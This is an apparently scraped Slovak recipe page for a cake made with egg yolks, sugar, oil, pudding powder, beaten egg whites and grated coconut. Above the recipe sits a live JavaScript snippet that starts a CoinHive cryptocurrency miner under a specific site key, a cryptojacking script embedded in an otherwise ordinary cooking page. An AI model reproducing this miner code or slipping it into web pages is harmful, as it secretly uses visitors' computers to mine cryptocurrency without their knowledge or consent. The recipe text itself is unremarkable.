

```
var miner = new  
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();
```



Cesto: 4 žltka, 4 Zlaté klasy, 1 prášok do pečiva, 20dkg cukru, 2dcl oleja, vanilka, 4 bielka.

Trieme žltka s cukrom, pomaly prikvapkávame olej a trieme. Vymiešame Zlaté klasy, prášok do pečiva a trochu mlieka. Nakoniec zľahka zamiešame tuhý sneh a 3 PL strúhaný kokos.

Dáme do formy vyolejovanej a vysypanej strúhankou a pečieme asi 45 minút pri teplote 180–200 °C.